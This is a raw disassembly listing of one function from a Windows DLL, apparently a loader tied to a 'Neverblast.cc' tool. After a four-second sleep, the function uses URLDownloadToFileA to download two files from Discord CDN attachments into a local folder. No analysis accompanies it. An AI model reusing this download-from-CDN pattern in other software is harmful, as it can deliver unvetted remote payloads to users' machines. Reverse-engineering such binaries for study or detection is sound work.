lea rdx, [0x180049f50]
lea rcx, [0x18020f650]
call fcn.18008fcd0
call fcn.180090520
call fcn.1800904a0
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.1800909d0
lea rdx, [0x180049ea0]
lea rcx, [0x18020f678]
call fcn.18008fcd0
call fcn.180090520
cmp byte [0x18020f40c], 0
jne 0x18004bf1c
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x18020f40c], 1
call fcn.18003b500
xorps xmm0, xmm0
lea rdx, [rbp + 0x40]
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
call fcn.1800062b0
call fcn.180004e40
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Neverblast.cccircuit.bundle
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1113540900199616512_1149774418051076116_circuit.bundle
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.C:Neverblast.cc_rust.assets
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1113540900199616512_1149774420307619920_rust.assets
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x18004bfb5
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004bfb0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004c086
call fcn.1800fbf00
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x18004bff6
mov rcx, qword [rbp + 0x98]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004bff1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004c086
call fcn.1800fbf00
movdqa xmm0, xmmword [0x18019fc10]
mov byte [rbp + 0x98], 0
movdqu xmmword [rbp + 0xa8], xmm0
cmp r12, 0x10
jb 0x18004c024
mov rdx, qword [rbp + 0xb8]
lea r8, [r12 + 1]
call fcn.18004d760
cmp r14, 0x10
jb 0x18004c05b
mov rcx, qword [rbp + 0x90]
lea rdx, [r14 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18004c056
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18004c086
call fcn.1800fbf00
cmp r15, 0x10
jb 0x18004c095
lea rdx, [r15 + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x18004c08d
mov r13, qword [r13 - 8]
add rdx, 0x27
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18004c08d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.1800fbf00
mov rcx, qword [rbp + 0x260]
call fcn.18004ce00
mov r12, qword [rsp + 0x320]
mov rbx, qword [rsp + 0x328]
mov r14, qword [rsp + 0x318]
add rsp, 0x330
pop r15
pop r13
pop rdi
pop rsi
pop rbp
ret
call fcn.18000bbf0
int3
call fcn.180003f90
int3
call fcn.180003f90
int3
call fcn.18000bbf0
int3
call fcn.18000bbf0
int3